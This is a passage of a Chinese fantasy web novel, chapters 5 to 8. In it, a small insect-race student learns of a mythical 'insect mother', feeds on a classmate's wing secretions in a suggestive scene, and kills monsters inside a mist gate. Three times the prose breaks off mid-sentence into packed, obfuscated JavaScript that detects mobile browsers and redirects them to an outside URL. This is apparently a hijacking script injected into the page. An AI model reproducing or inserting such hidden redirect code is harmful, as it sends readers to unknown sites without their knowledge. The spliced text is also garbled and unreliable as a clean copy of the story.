在他看来，希尔维乌斯就是个登徒子，要不是他及时赶到，估计希尔维乌斯就要把蓄满废液的翅膀塞到利诺嘴里了！ 希尔维乌斯再次向利诺道歉，没什么情绪的眼眸在看向走神的利诺，掀起一点热切的波澜：“利诺，我会做出赔偿。” 利诺可有可无地点点头，将精致的小脸往袍子里再次塞了塞。 他觉得很麻烦，洛尔南和希尔维乌斯都说他身上的味道很香。 他闻不到，却显而易见，那味道会影响到其他的虫族，且出汗的时候味道会更浓，连低级虫子也可以影响。 利诺头疼。 这时，拉斐尔温柔地喊他：“利诺同学，今天下午的实训我帮你请了假，你现在的情况不适合再进行实训，不如帮我整理我带来的书籍？” 利诺想训练，但想到刚才不正常的画面，他再次点头。 拉斐尔和希尔维乌斯一起站起来：“这里是我的单间办休息室，不会有其他虫族进来，隔板后有个沐浴间，你可以先清洗一下，我需要和希尔维乌斯长官讨论要事。” 得到利诺的应答，拉斐尔的笑意加深，随即对洛尔南道：“洛尔南同学，这次你的行为非常正确，但上午的惩罚不变，你现在需要立刻去进行实训。” 洛尔南不太想离开利诺的身边，他张嘴：“老师，我……” 拉斐尔打断，不容置疑：“利诺同学需要空间静处。” 洛尔南不情愿：“好的。” 临走前，洛尔南巴巴凑过来，抬起腕表：“利诺，和我加个联系方式吧？好不好？” 伸手不打笑脸人，利诺抬起手腕和洛尔南的腕表碰撞。 “利诺，有事喊我！”洛尔南嘿嘿笑得不值钱，在拉斐尔老师的催促下离开。 利诺揉揉头，蜂群都这么奇怪吗？上一秒在针对他，这一秒就成了热情小狗……奇怪的虫族。 乌黑的腕表也伸过来，希尔维乌斯：“有事也可以喊我。” 利诺没做犹豫，同样加了希尔维乌斯的联络方式。 虽然希尔维乌斯不算正常，但在军部地位可不低……利诺可不会放过能够助他进入军部的每一个机会！ 转眼间，拉斐尔老师的办公室只剩下他一个人，利诺在沐浴间洗了个澡，换上新的衣服。 脏掉的衣服叠好放在空间钮内，和新衣服隔离开。 利诺休息了下，就开始整理拉斐尔老师的书籍。 衣鱼不属于任何虫群，他们自成一系，稀少但却是有知识传承的虫族，据说还有许多珍贵的孤本。 拉斐尔老师带来的书不多，都是利诺没有看到的，整理整理着，一本陈旧的册子吸引了他的注意。 拉斐尔临走前说他可以看所有的藏书，利诺便好奇打开，这是一本手写的册子，来自某只已经去世的衣鱼前辈。 “从迷雾来临之前的一些残缺书籍推测，虫族应该存在一只可以掌控所有虫子、负责孕育的存在。” 5. 第五章 “虫族应该存在一只可以掌控所有虫子、负责孕育的存在。” 这句话引起了利诺的兴趣，他从未听说过这种推测。 在他从小到大的教育中，被灌输的知识就是虫族是强大的种族，是要驱散迷雾、统治宇宙的种族；虫族不会被其他灭绝生物那样繁衍的本能和无用的感情束缚…… 然而这个笔记又与学到的知识完全相反，在好奇心的驱动下，利诺翻开册子，大致浏览里面的内容。 写这个册子的衣鱼坚信，从蓝星远古虫群进化出的虫族应该是金字塔形状的社会结构，最低端的是数量最庞大的低级虫族，往上依次是中级虫族和高级虫族。 位于金字塔尖的是一只掌控虫群的存在，祂会弥补虫族无法繁衍的缺点，也会带领虫族进入绝对的巅峰。 “我们称祂为虫母。”拉斐尔不知何时出现，站在利诺的旁边补充。 利诺转头，撞见笑眯眯的拉斐尔。 拉斐尔正温柔地注视他，道：“但更亲密的称呼，是母亲，是妈妈。” 他的语气缱绻，充满渴慕，似乎同样相信虫母的存在。 利诺合上册子，有点心虚：“拉斐尔老师，抱歉，我……” “无需道歉，是我让你随便看的，而且这个推测，在高等虫族中并不算秘密。”拉斐尔低头，摸着小虫子灰色的头发，说道。 这个动作在利诺原本的世界里很常见，可在虫族内，利诺没有见过哪个虫族会摸同伴的头，就算是把他当成亲生子嗣照顾的院长都不会这么做。 利诺睁大眼睛，圆溜溜的，震惊又差异：“拉斐尔老师？” 拉斐尔不动声色地收回手，袖内捻动指腹，表面依旧温和：“吓到了？我是按照一本古籍做的，据说这样代表安抚。” “我第一次尝试，还不熟练。” 利诺摇头：“谢谢您，老师，我没有被吓到。” “其实我并不算是老师。”拉斐尔说，“只是给你们上一两节课。” 利诺仰头：“不是一学期吗？” “计划有变，我和希尔维乌斯有任务执行。所以利诺同学，你可以直接喊我的名字，拉斐尔。”面容隽秀的虫族缓缓道。 利诺稍微后退一小步，将话题转移到最开始：“您的意思是，虫族真的会存在一只虫母吗？” 拉斐尔笑了笑：“虽然是猜测，但大多数高等虫族都这么希望。” 尾须在衣鱼的身后伸展，看似柔软实则是坚硬锐利的致命杀器。 利诺刚想要问为什么，以他的角度来看，他如果是高等虫族，手握权柄，可不希望头顶突然空降一个上级管理自己。 拉斐尔将一些机密详细地告知利诺：“不是虫母需要虫族，而是虫族需要虫母。” 他叹气：“虫族如果仅仅依靠科技手段进行种族的延续，是不可能的，按照数据计算和分析，顶多再持续三千年，虫族就会灭绝，我们会变成寿命很短的种族。” “不仅如此，还有最重要的一点。”拉斐尔投向利诺的眼神夹杂着探究，以及掩藏得很好的渴望，“意识海的存在提高了虫族的战力，但也在扼杀虫族。” 利诺的左眼皮直跳，总觉得拉斐尔说的，都是目前的他不能听的。 “利诺同学，你知道有多少高等虫族会死于意识海崩塌吗？”拉斐尔问。 “不、不知道。”利诺艰难回答，他一个刚进军校的学生哪里有资格知道这个，“拉斐尔老师，您别说了，我怕一出门，会被物理处理……” “百分之百，没有虫母的抚慰，所有的高等虫族都活不到正常的死亡年龄，低等和中等虫族也有一大半如此。” 拉斐尔擦掉利诺鼻尖渗出的汗液：“不要害怕，这些你迟早会知道。” 利诺倒不是怕死，而是怕没有价值的死，要是因为听到了一些机密就被弄死，他会死不瞑目的。 得到拉斐尔的确认，利诺展露笑颜：“这样的话，谢谢老师您的教导，我还有事，先走了。” 利诺直接逃走了，拉斐尔看起来多斯文靠谱一只虫，居然一点犹豫都没有，就把这种军部虫族才知道的事情告诉了他。 果然，虫族根本不存在温柔耐心的虫！ “你话多了。”希尔维乌斯从阴影处走出来。 拉斐尔将指腹的湿润凑在鼻尖轻嗅，尾须悸动交缠：“好香，原来我的基因深处存在交尾的本能。” 希尔维乌斯冰冷又暗藏嫉妒的眼线如同冰渣子甩过来：“确认了？” “九成九的可能。”拉斐尔根本舍不得移开，如果不是希尔维乌斯还在，他估计会不顾形象地将所有的湿意舔进口中，与美妙的气味相互交融。 “要把他带走吗？”希尔维乌斯眼尾堆满厌烦，是对那个拿着手指闻来闻去的拉斐尔的厌烦。 不想再忍，希尔维乌斯的尾钩化形、刺出。 名义上是中级虫族的拉斐尔躲了过去，再迟一秒，他的手指会被切掉。 拉斐尔并不生气，还火上浇油：“你在嫉妒，希尔维乌斯。” “闭嘴，回答问题。”希尔维乌斯的声色越发冷冽。 拉斐尔正经道：“蓝星派系还处于分立阶段，即使我认为那位只要一出现，所有虫包括不承认虫母存在的都会跪下当狗……但我更想先让一些虫子来这里当近卫。” 清雅的面容扭曲一瞬：“要是我没有任务就好了……” 拉斐尔挺想先近水楼台，当个护卫什么的。 希尔维乌斯也是这么认为的，他低头，在腕表发送一串加密符号。 然后抬头：“走，将四周的迷雾驱散。” 利诺对房间内的事情丝毫不知，他走出房间后，庆幸地拍拍胸口。 现在实训是去不了，利诺脚尖一转，朝食堂走去。 他依旧饿，尤其是看到希尔维乌斯分泌出的废液时，他饿到想要拽着蛾族的翅膀，吃光那缓缓流淌的、淡金色液体。 “利诺！”洛尔南喊道。 利诺皱眉：“你一直没走？” 洛尔南耳根泛红，大个子黄蜂弱弱低下头：“我也请了假，在等你。” “等我做什么呢？”利诺的语调上扬，表达疑惑，却像是一个小钩子，撩拨着年轻虫族的心。 洛尔南由于一开始的针对和轻视令利诺很难升起对他的好印象，但洛尔南在操场上用香水衣袍缓解了他当时的尴尬和无措。 只要洛尔南不再故意找茬，利诺不介意转变下对洛尔南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940046|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的态度。 洛尔南的耳根烧得更红了：“我、我等你……跟着你……” 利诺：“？” 洛尔南对这样的自己心生唾弃，他深呼吸，闭上眼，又睁开，诚恳无比：“对不起，我为之前不尊重你、嘲讽你的言行道歉，请你原谅我，我什么都可以为你做。” 黄蜂橙黄的眼珠暖洋洋的，桀骜不驯的短发也在此刻乖顺贴敷，垂在英俊的眉眼边。 为了能够表现自己的诚心道歉，洛尔南还低着头，弯下腰，几乎要和矮个子少年面对面。 贴得好像太近了，洛尔南意识到，他的心脏都要因此而跳坏了……不对，他早就在遇到利诺的第一眼后就坏掉了…… 利诺想起上辈子他驯服的一只变异小狗，那是只普通的小黄狗，因为末世病毒而变异。 他废了九牛二虎之力，才把不听话的野狗驯服，成了自己杀丧尸的好伙伴。 洛尔南现在就是一只被驯服的小狗，而且不用利诺费时费力，就自己将自己驯化的小狗。 仿佛利诺说什么，洛尔南都会做。 洛尔南等不到利诺的回答，再次急急保证：“利诺，真的，我什么都可以做，只要你不生我的气……” 大只黄蜂把头摆得更低。 口腔内的唾液大量分泌，舌尖饥饿地探出，舔过饱满的唇珠，利诺问：“什么都可以？” 利诺又闻到了从洛尔南的脊背传来的甜蜜，他的肚子更加饥饿。 他想，如果饥饿在促使他去吃废液，何不尝试一下呢？万一真的有用，他就不用再被无尽的饥饿折磨。 洛尔南会是一个很好的尝试对象，利诺澄澈的灰眸里倒映出黄蜂挺拔却谦卑的身影。 “我保证，什么都可以……”离利诺太近，洛尔南发达的嗅觉被利诺的气味包围，他胡言乱语，“打我也可以，但是利诺手会疼……骂我更好，虽然利诺嗓子可能也会疼……” 利诺将从拉斐尔学到的摸头动作用在洛尔南的头上，他抚摸黄蜂偏硬的短发。 洛尔南僵硬不动，眼巴巴望着踮起脚尖摸他头的漂亮少年。 利诺一边摸着洛尔南的头，一边伸出另外一只手的食指，抵在娇嫩的唇瓣上：“乖，听我说。” 洛尔南愣愣点头，他完全被操纵心神，甘愿臣服。 乖得不像话了。 利诺嘴角浮起偏恶劣的笑容，但嗓音偏乖巧：“洛尔南，今天吃饱点，保证你的翅膀可以分泌很多的废液，然后晚上九点准时回到寝室，可以做到吗？” 废液被称为废液，却是虫子们营养的汇聚，吃饱了自然会分泌更多的液体。 “可以！当然！我会准时到达！我会分泌很多很多的废液！”洛尔南无师自通，蹭着利诺的手掌，喉咙咕噜咕噜个不停。 “乖，那你先离开，我们晚上见。” “好，晚上见。”被利诺打发，洛尔南一步三回头离开。 利诺依旧去了食堂，在营养液是主流食物的当下，食物稀少美味，还是限量供应，然而利诺依旧吃得没滋没味。 精心烹制的饼干到了嘴巴里就是没有味道的干柴，食物是不可以浪费的，利诺勉强吃完。 他更加期待晚上的到来。 6. 第六章 不过利诺没有着急，而是吃完饭看了看时间，去预定了间个人训练室。 在他还没有知道如何杜绝身上那股对其他虫子有莫名其妙影响的香味来源时，他是不会再去操场这种公共场所锻炼的。 个人训练室需要花钱，而所有虫子都是被养育院抚养长大的，在毕业前所有的花费都由养育院承担。 当然，利诺他们有统一发放的生活费，但不多，没有虫会舍得把钱用在训练室中，免费的操场更值当。 利诺刷了腕表，扣除两小时的费用，他低头看费用，捂住肉痛的心口。 好贵！这么贵的个人训练室到底是谁在用啊！ 不过再贵，利诺的小金库也可以撑一段时间，他除了统一发放的生活费，还有院长转给他的零用钱。 这也不怪院长偏心，谁让利诺是个超级会撒娇装可怜、会把长辈哄得心花怒放的小虫子，况且和其他五大三粗的虫族相比，利诺是少有的漂亮娇小的类型。 训练室贵有贵的好处，设备全面，配备清水和小零食，还有一间浴室用于训练后的清洁。 两小时后，利诺从训练室走出来，在八点五十分回到学校安排的宿舍。 宿舍是双虫间，利诺起初还苦恼要如何申请换宿舍，现在却方便他不需要找个隐蔽场所去满足自己的食欲。 宿舍门没有锁，是洛尔南提前回来了，利诺开门，走进来，脚跟带上门，反手锁住。 智能锁极轻地碰撞，安全阀自动开启。 宿舍只开了一盏节能小灯，略显昏暗的视线内，只套着一件浴袍的高大虫族从沙发上站起来。 他刚洗完澡，发丝尖缀着明显的水珠，没有时间擦干。 利诺不会给洛尔南吹干的时间，他很饿，无论是食堂的食物还是训练室的营养液，都不能完全填饱他的肚子。 他需要很多，从虫族翅根分泌的蜜水。 洛尔南很紧张，利诺听到了他吞咽口水的声音，也看到他的类人形态下喉结幅度极大地滚动：“利利利利利利诺……” 利诺摆出乖巧天真的笑容：“洛尔南，你回来的这么早？” 极度精致艳丽的小脸，在不足的光线下略显模糊，却更像古籍内迷惑人心的魅妖。 洛尔南吞咽口腔内不住分泌的涎水，声音暗哑：“利诺，我、我今天吃得很多，会有很多的废液。” 在利诺进来后，他的翅膀同样控制不住地分泌粘糊的液体。 利诺轻巧地往前，几步走到洛尔南的面前，空气里全是黄蜂那如同蜂蜜的甜腻。 纤细白净的手抬起来，搭在黄蜂壮实的胸膛上，感受到富含弹性和力量的肌肉，利诺很满意。 他的语气轻柔但蕴含着目的性明确的引诱：“乖孩子，现在让我看看黄蜂的翅膀长什么样。” 没等利诺说完，洛尔南就张开了黄蜂淡金色的透明薄翼。 所有虫族的翅膀尖都存在小小的凹槽，此时，泛着香气的废液正随着翅膀的纹路从翅根滑落，金黄的液体积蓄在凹槽内。 洛尔南很听利诺的话，他在晚间大量进食，身体本能地将食物的大部分能量转化成看似无用的废液。 凹槽内装得满满的，再等上几秒，多余的液体就会溢出来，顺着翅尖滴落在宿舍的地板上。 洛尔南操纵膜质翅，小心地将一边的翅膀伸展到利诺的嘴边，他低垂眉眼，用着希翼渴求的目光注视灰发少年：“利诺，要吃吗？” 利诺选择不再压抑难捱的食欲，在洛尔南的邀请下，他握住了翅膀的干净部分，含住翅尖，舌头毫不留情地吸吮凹槽内的液体。 好吃！是利诺吃过的任何蜂蜜都比拟不过的美味！ 利诺一边吃，一边想，这哪里是什么废液，分明是世界第一美味的蜂蜜！ 洛尔南是黄蜂，蜂群酿造蜂蜜也很正常嘛！利诺大口吞咽来自洛尔南“酿造的蜂蜜”。 蜜水顺着喉咙进入胃囊，暖洋洋的，利诺舒适地眯起眼睛，这种肚子被填饱的感觉，他很久都没有体会到了，差点忘记这是一种什么概念。 洛尔南小麦色的皮肤泛着滚烫的红，他环抱住了正抓着他的翅膀的利诺，低声细语：“利诺，慢点，还有很多……” 黄蜂牙齿和嘴唇在颤抖，莫大的欢愉不止来自翅膀被利诺吸吮，更多的是内心的充实和满足。 仿佛他的唯一使命就是喂饱怀里、异常饥饿的利诺，只要利诺能够吃饱，就算他的翅膀、他的躯干都被切碎当成利诺的食物都没有关系。 然而饿惨了的利诺根本听不见，不知何时，他整只虫都扑到了洛尔南的身上，被黄蜂非常不熟悉地捞在怀里。 利诺扒弄着洛尔南的翅膀，在喝光凹槽内的液体，饥饿依旧还存在，他开始细细舔舐凹槽周围的液体。 但那点量根本不够，利诺没有吃饱。 在利诺不满前，洛尔南将另外一只翅膀伸过来。 液体吞咽的声音在不大的房间内响起。 洛尔南抱紧利诺，贴近，心口的器官剧烈跳动，砰砰砰—— 他痴迷地注视利诺急躁进食的样子，一只手掌抚摸薄薄的肩胛骨。 这不是洛尔南故意的举动，而是本能，就像本能驱使他给饥饿的利诺喂食那般，本能也在驱使他摩挲利诺的后背。 虫群基因内的本能告诉他，这样可以缓解利诺的疼痛，加速…… 加速什么？洛尔南不知道，汗水密布在他的脸侧，他用尽所有的方法，来取悦怀里的利诺。 洛尔南小声：“利诺……利诺……妈妈……” 洛尔南低估了利诺的食量，利诺也高估了洛尔南的产蜜量。 在咂不出半点蜜水后，利诺吐出洛尔南的翅膀尖，哀怨看向不知所措的黄蜂。 利诺嘀咕：“这么大这么壮的一只黄蜂，就这么点？” 他根本没吃抱，估计只填了个底，饥饿感只缓解了两三分。 洛尔南难堪，小麦色的皮肤变成了羞耻的红，利诺的话在他听来，就是嫌弃他没用。 他的头低得更低了：“对不起，我再喝点营养液，你再等一会儿，就又有了……” 利诺打了个哈欠：“不用了，但是明天要吃多点哦！” 他该睡了，准时睡觉第二天才有更多的精力学习和训练！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940047|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 利诺今天很满足，他没有完全吃饱，但找到了能让他吃饱的食物。 想起食物是虫族嫌弃的废液，刚爬到床上想闭眼睡觉的利诺坐起来，刚还没什么表情甚至疏离嫌弃的漂亮脸蛋作出可怜的神情。 利诺点着指尖，自卑难过：“洛尔南，你会让其他虫子知道……我是个会吃废液的奇葩废虫吗？” 洛尔南急忙摇头：“不会，当然不会！利诺才不是废虫！利诺很厉害！” 利诺挑剔地扫视单蠢的黄蜂，这么傻，肯定连撒谎都没怎么做过。 心眼不少的小虫满意地弯唇，毫不吝啬地给予黄蜂一个阳光灿烂的笑容：“我会相信洛尔南的，洛尔南你也是一只好虫！” “洛尔南，晚安哦～”利诺的甜言蜜语不要命地撒在洛尔南的身上，“和你一个宿舍，真是一件超级超级幸福和幸运的事。” “好梦，利诺。”就连多年和利诺相处的院长都抵抗不了利诺的甜言蜜语，洛尔南这个连虫族社会都没进的年轻黄蜂又哪里能够守住阵地。 洛尔南晕晕乎乎地躺在自己的床上，一晚上没睡觉，满脑子回荡的都是利诺甜甜的味道和口吻。 黄蜂攥住被子，抖动肩膀，无声傻笑。 嘿嘿，利诺他说是个好蜂他还向我说晚安，我明天要多吃点，争取分泌再多的废液…… 不，那不是废液！是利诺的食物！食物不能叫废液！ 洛尔南甜蜜地决定，他明天一定会分泌出更多的液体给利诺吃！ 第二天上完上午的理论课，利诺拒绝洛尔南的陪同，无视黄蜂失落的眼神，敷衍摸摸黄蜂小狗的脑袋，独自走去训练室。 既然除了废液以外的食物都无法满足他的食欲，利诺便不再把钱花在购买食物上，而是将钱用在训练室内。 除了有工资的军校员工，几乎没有学生会来训练室这边，利诺走在走廊中，一只虫子也没看见。 突然，走廊内的灯光被红色覆盖。 “警告！警告！迷雾入侵！迷雾入侵！” 每隔几米就会配备的警示器闪烁起急促的红灯，刺耳的声音一遍又一遍地重复，在偌大的校区内响荡。 “警告……嘶嘶……嘶嘶……”警示器完全瘫痪的时候，漆黑的、不透光的雾也从缝隙内飘荡进来。 这时利诺第一次看见真正的迷雾，眉头紧锁，完全想不明白为什么军校内会突然有迷雾。 他们英玛星虽然地处偏远，但也与星际内的迷雾隔了一大段，而且中间缓冲地带还有军部军队驻扎，迷雾根本没有理由会进入到英玛星内。 现在并不是纠结迷雾入侵的原因，利诺现在需要找到迷雾之门，进入其中，才有一线生机。 如果一直呆在迷雾中，或许不会有门内怪物袭击的危险，但时间久了，迷雾就会侵蚀他的身体，就像已经坏掉的警示器。 他只是低级虫族，能够抵抗迷雾的时间没有高级虫族那么长。 利诺的运气很好，那扇将迷雾带来的门，就悬浮在拐角处。 那扇门上刻着虫族至今都没有研究出来的奇异纹路，古朴陈旧，生满褐色的铁锈。 7. 第七章 生锈的门在黑雾的拥簇下，无声地悬浮，张开了道细细的缝，危险又阴森。 迷雾之门的材质并非完全的一致，它可能是木头、石头，也可能是金银珠宝的堆砌，就像它本身神秘的出现，虫族没有发现不同材质的区别。 利诺只在课本中见过部分迷雾之门的照片，对危险又神秘的事物，会下意识地生出抗拒和恐惧。 在第一次面对面容腐烂的丧尸时，他也是恐惧的，但利诺最后依旧拿着斧头，成为那一批新手中第一个砍下丧尸脑袋的人。 丧尸头狰狞可怕，却也是利诺向上爬的阶梯，就如同此时的迷雾之门。 没什么好怕的，两辈子的经历造就了野心勃勃的利诺，这一扇迷雾之门，就是他进入军部的第一个阶梯。 按理说，利诺应该在发现迷雾之门的第一时间离开，寻找其他虫族之后组队进入。 可惜利诺现在只是个低级虫族，他没有太多在迷雾中存活而不被腐蚀的时间。 利诺的腕表掉在地上，他贪图便宜购买的腕表并非军部特制，比他本身抗腐蚀的能力还不如，已然变成废铜烂铁，基础的通讯功能根本无法使用。 他深呼吸，从还□□的空间纽内掏出一把斧头，然后往前，推开迷雾之门。 大团类似黑雾的气体从中喷涌，没有黑雾强悍的腐蚀性，它轻柔地包裹住利诺，将其拉进了门内的世界。 利诺全程保持高度戒备的精神状态，在进入后眩晕时也立马调整过来。 斧头成了利诺此时与门内的支撑点，银白色的斧头嵌进坑洼的泥土中，手柄被染成鲜艳的粉色。 这是院长送他的防身用品，院长一直热衷为他购买或制作各种粉红颜色的衣物首饰。 这种偏好延续到了方方面面，最后就连送他的冷兵器也必须是粉色的，手柄上系着粉蝴蝶结。 整把斧头的配色和装饰非常狱，要不是斧头的手感非常好、质量有保证，他上辈子用惯了斧头当武器，利诺肯定会捏着鼻子将其丢在角落里生灰。 就着斧头的支撑，利诺环视周围的环境，几颗光秃秃的枯黄树木在四周扭曲林立，或大或小的石块散落四周，外形奇怪，扎堆进发黑的泥土中。 利诺用脚尖捻了下泥土，以他上辈子在基地里有种菜地的经验，这土是黑土，肥力很足。 可惜迷雾世界内的东西都是虚幻的，不然利诺高低得扛一麻袋的黑土出去给虫族科技院研究。 普通食物之所以贵，就是因为虫族的农业不发达，而且虫族目前所有的星球都因为之前迷雾的影响，土质不好，作物产量低。 突然，利诺捕捉到了从身后传来的、极其微小的声音。 他没有过多思考，径直跳起来，蝴蝶结的丝带随风摇曳，操纵偏长的斧头往下劈。 血肉撕裂，一只面容凶狠的畸形头颅被虫族科技制造出来的利器砍下，如同剪刀划纸般轻易。 拿着简易武器的无头身躯无力倒下，撞击地面。 这头怪物在试图偷袭利诺，他低估了虫族的强大，哪怕利诺只是一只低级虫族，都具备敏锐的五感、快速的反应以及强悍的力量。 更不必提天生强大、后天又发狠训练的高等虫族。 断头骨碌碌地滚到洛尔南的脚边，他面无表情地抬脚踢飞，准确砸到另一个隐藏起来的怪物头上。 “啊！”几只还活着的怪物不再隐匿身形，丢下破损的武器，扭曲紧贴骨头的皮，张大嘴巴惊慌地尖叫。 黑洞洞的眼眶看不出清晰，但他们的表现说明了一切。 黑色的影子甩动细长的四肢，杂乱跑走。 利诺没有去追，而是蹲下来率先查看死去怪物的身体。 除却脖颈处喷射深红血液的整齐切口，怪物有一身漆黑的皮肤，高大但瘦弱到皮包骨的类人身形。 怪物的背上和虫族一样有翅膀，但和虫族不一样，怪物的翅膀有着看似圣洁发纯白羽毛。 利诺按照怪物身形的推测，他们饿了许久，羽毛的颜色微微黯淡。 然而怪物的翅膀依旧很整洁，就算身上的衣物破烂陈旧，也将翅膀打理得很好。 这种怪物对自己的翅膀很看重，也许翅膀在族群中是身份和地位的象征？ 利诺想到这种可能，利落把死去怪物的翅膀割下，硬挤了下，把这团肉翅塞进空间不大的项链内。 利诺站起来，想了想，还是没有跟着怪物逃走的方向追去。 他只有一只虫，在不确定怪物数量前或者没有遇到其他进入迷雾之门的同族时，他不会轻易冒险。 至于迷雾之门的钥匙，利诺并不打算去找，想也知道，他这种小菜虫是不可能会找到的。 他进门内只是为了延缓被迷雾侵蚀的速度，顺便收集尽可能多的信息来获取军功，钥匙还需要学校的老师和大佬去寻找和销毁。 利诺要做的，就是苟，苟到有虫族可以在迷雾之门消失前销毁钥匙。 轻嗅空气中的味道，利诺选择了怪物气味不浓也不淡的方向。 关于他为什么不选择怪物气味淡的方向，当然是怕会有比这种黑色怪物更可怕的怪物存在。 利诺没走多久，就又撞见几只朝他扑过来的黑色怪物。 他一斧头一只，一时间头颅乱飞、鲜血四溅。 在交手中，利诺发现这些怪物的翅膀就是摆设，顶多扑打几下，根本无法像虫族那样可以在空中或者星际的真空环境内飞行。 怪物很弱，利诺踩在最后一只怪物凹陷的胸膛上，即将剁头时，怪物惊恐地大喊：“饶了我！对不起，饶了我！” 在他漆黑的眼眶内，漂亮瘦弱、看起来还没有成年的少年面无表情，眼角挂着几滴血珠，挥动着与外表完全不符合的斧头，朝他劈下。 怪物此时万般懊悔不该光看这只不明生物好欺负就打算杀死他分食，如果知道这是只恶魔，他万万不敢打少年的主意。 斧头停在怪物脖颈一毫米的距离，割断了怪物粗糙杂乱的发丝。 利诺的脚踩在怪物的胸膛上没有移开，就算他不用斧头，脚稍稍用力，就能踩进怪物的胸腔。 他停顿片刻，开口：“你能说话？” 这很不常见，至少在利诺从课本中学到的，迷雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940048|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界里的怪物都是疯狂没有理智的，他们只知道杀戮和破坏。 怪物说的话还是利诺熟悉的、虫族内的通用语，据说这种语言还是迷雾降临前那些没有灭绝的智慧种族的通用语。 “我会！我会！”怪物瑟瑟发抖，“求您饶了我，我只是太饿了，我已经一周没吃饭了！” 利诺不屑，才一周就受不了了？他可是好几个月都处于饥饿中，直到昨天才稍微垫了个底。 一番运动后再次陷入饥饿的小毛虫默默叹息，好饿啊，要是洛尔南在就好了，这样他身边就能随时有个食物储蓄银行啦！饿了就扒拉洛尔南的翅膀吃蜜水！ 利诺重重踩踏，警告明显不怀好意的怪物：“老实点，把你知道的都说出来，包括这里的情况和位置。” 他甩了下染血的斧头，又威胁：“不然你的那些同伴就是你的下场。” 另一边，洛尔南在被其他虫族拉着进迷雾之门。 黄蜂的面色称不上好，阴沉沉的，努力嗅闻利诺的气息。 可是这些该死的黑雾就像是破坏香味的臭鸡蛋，完全阻断洛尔南通过气味寻找到利诺的行动。 “我不进去，我还没有找到利诺。”洛尔南已然半虫化，淡金色的翅翼张开，明显打算再环绕迷雾区飞行一圈。 劝他的虫族道：“你算算迷雾出现的时间，利诺同学肯定已经进了迷雾之门，否则……” 洛尔南回忆起寻找迷雾之门的途中见到的部分低级虫族的尸体，他们都是没有及时找到迷雾之门而死亡的例子。 利诺不会变成那样的，这是洛尔南的第一想法，不管是他坚信利诺的实力还是不愿相信利诺死亡的可能，他张开翅翼，飞进迷雾之门中。 刚被吃过蜜液的黄蜂想要急迫找到利诺，确认利诺的安全，然后以生命和忠诚保护利诺。 利诺那么小、那么柔弱，万一被门内的怪物欺负了怎么办？ 此时，柔弱的利诺一斧头砍死了最后一只怪物，怪物不敢置信地睁大眼睛，似乎在问利诺，为什么他说了他知道的一切还要杀他？ 利诺摊手，无辜道：“我可没答应你坦白就能活。” “再说了，手里还攥着小刀，你死得不冤。”利诺边跟尸体对话，边用尸体身上的衣服擦拭斧头。 利诺没有打听出太多的消息，这只怪物说他什么都不记得了，只知道醒来就在附近的一座废城中。 怪物们没有食物，饥饿下只能自相残杀、相互吞食，但这样下去不是办法，他们就出来找食物。 然而肉眼可见，这片区域只有光秃死亡的树干和石块。 怪物说，西北方还有只大怪物，他们本来想杀死那只庞大的怪物当食物吃，却反而被杀了一大半。 剩下包括他在内的几只怪物狼狈逃窜回来，撞见利诺，就打算杀了利诺吃。 利诺冷哼了声，对怪物的话只信三分。 他继续往自己定好的方向走，在天色渐暗时，化成灰色毛虫，他被养得很好，晶莹可爱，像糯叽叽的果冻。 小青团爬上附近最高的树干尖，晶晶亮的小圆眼严肃环视四周。 8. 第八章 确认周围没有危险，利诺从空间纽内掏出纸和笔。 毛虫的小体型和较轻的体重不会压断干枯清脆的树干，利诺干脆趴在上面一边休息，一边整理已知的情报。 遇到其他寻找钥匙的虫子，利诺就能贡献出情报，就算遇不到，等门被关上，利诺将情报上交军部，依旧可以获取不少的贡献值。 说做就做，利诺用前肢固定住纸张，嘴巴叼着笔，奋力在上面涂涂画画，看起来有种认真的萌态。 一、目前已知迷雾之门内的一种怪物为长着洁白翅膀的黑皮怪，外表贴近人形，但因长期饥饿而形似骷髅；他们非常注重翅膀的整洁，翅膀在他们之内有一定的重要性和特别性；会说星际语，存在一定的智慧，但不多；正南方向有一座怪物的城市，怪物数量极多，且都处于饥饿状态。 二、从一只怪物口中逼出以下信息，信息存疑：怪物怪似是被某种未知力量剥夺记忆，放在城市中自相残杀；西北方向存在另外一种强大生物，可以轻松杀死数十人的怪物；怪物坚称他们只是饿坏了，对其他生物不存在恶意；怪物的城市内存在领袖，但此怪物称未见过。 哇，他进来短短半天的时间，就知道了这么多消息！利诺骄傲地用尾巴尖敲打树干。 没错，他就是这般厉害的毛毛虫！ 将纸币收回空间纽，利诺闭上眼，感知自己的意识海。 